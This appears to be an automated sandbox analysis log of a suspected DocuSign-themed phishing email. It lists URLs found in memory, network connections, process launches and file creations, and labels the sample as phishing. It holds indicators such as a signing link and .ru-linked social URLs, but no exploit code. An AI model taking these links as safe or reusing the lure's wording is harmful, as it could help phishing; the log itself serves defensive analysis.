Source: chromecache_312.6.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_181.6.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: https://gist.github.com/1930440
Source: chromecache_208.6.dr, chromecache_186.6.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js/blob/master/json_parse.js
Source: chromecache_181.6.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_227.6.dr, chromecache_291.6.dr, chromecache_202.6.dr, chromecache_177.6.dr	String found in binary or memory: https://github.com/zloirock/core-js
Source: chromecache_227.6.dr, chromecache_291.6.dr, chromecache_202.6.dr, chromecache_177.6.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.30.2/LICENSE
Source: chromecache_272.6.dr	String found in binary or memory: https://instagram.com/flifeserieso.ru
Source: chromecache_272.6.dr	String found in binary or memory: https://linkedin.com/in/flifeserieso.ru
Source: OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl.0.dr	String found in binary or memory: https://login.windows.localR
Source: OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl.0.dr	String found in binary or memory: https://login.windows.localnull
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: https://na4.docusign.ne=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: https://protect.docusign.net/report-abuse?e=3DAUtomjpFak=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://protect.docusign.net/report-abuse?e=AUtomjpFak9GlbPL0zFFi11nvPvhNN9U5-awyJ6YeimgW9YnY_hFeh5O
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml, ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://support.docusign.com/
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: https://support.docusign.com/en/articles/How-do-I-manage-my-email-notifica=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://support.docusign.com/en/articles/How-do-I-manage-my-email-notifications
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: https://support.docusign.com/en/guides/Declining-to-sign-DocuSign-=
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://support.docusign.com/en/guides/Declining-to-sign-DocuSign-Signer-Guide
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://support.docusign.com/s/articles/How-do-I-sign-a-DocuSign-document-Basic-Signing?language=en_
Source: Complete with Docusign_ Remittance Advice .pdf(1).eml	String found in binary or memory: https://support.docusign.com/s=
Source: chromecache_225.6.dr	String found in binary or memory: https://wdk-agent-2.docusigntest.com/#Signing/Controllers/MonitoringController.cs
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr	String found in binary or memory: https://www.docusign.com/features-and-benefits/mobile?utm_campaign=GBL_XX_DBU_UPS_2211_SignNotificat
Source: chromecache_272.6.dr	String found in binary or memory: https://x.com/flifeserieso.ru

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49874 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.winEML@20/248@46/15

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Complete with Docusign_ Remittance Advice .pdf(1).eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B015F3D5-ACDB-4645-B3DB-CECD105E71F8" "390A14B3-E248-49BF-B53B-CC50CDF4E487" "4212" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct=6fc3f7d8-705f-45b1-859d-ee6b3e4ec813&er=2d989881-8a05-4258-ae3f-e6cf5573670f
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1928,i,2976347971285413833,15598093970115178483,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B015F3D5-ACDB-4645-B3DB-CECD105E71F8" "390A14B3-E248-49BF-B53B-CC50CDF4E487" "4212" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct=6fc3f7d8-705f-45b1-859d-ee6b3e4ec813&er=2d989881-8a05-4258-ae3f-e6cf5573670f	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1928,i,2976347971285413833,15598093970115178483,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Email	LLM: Page contains button: 'REVIEW DOCUMENT' Source: 'Email'
Source: Email	LLM: Email contains prominent button: 'review document'

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
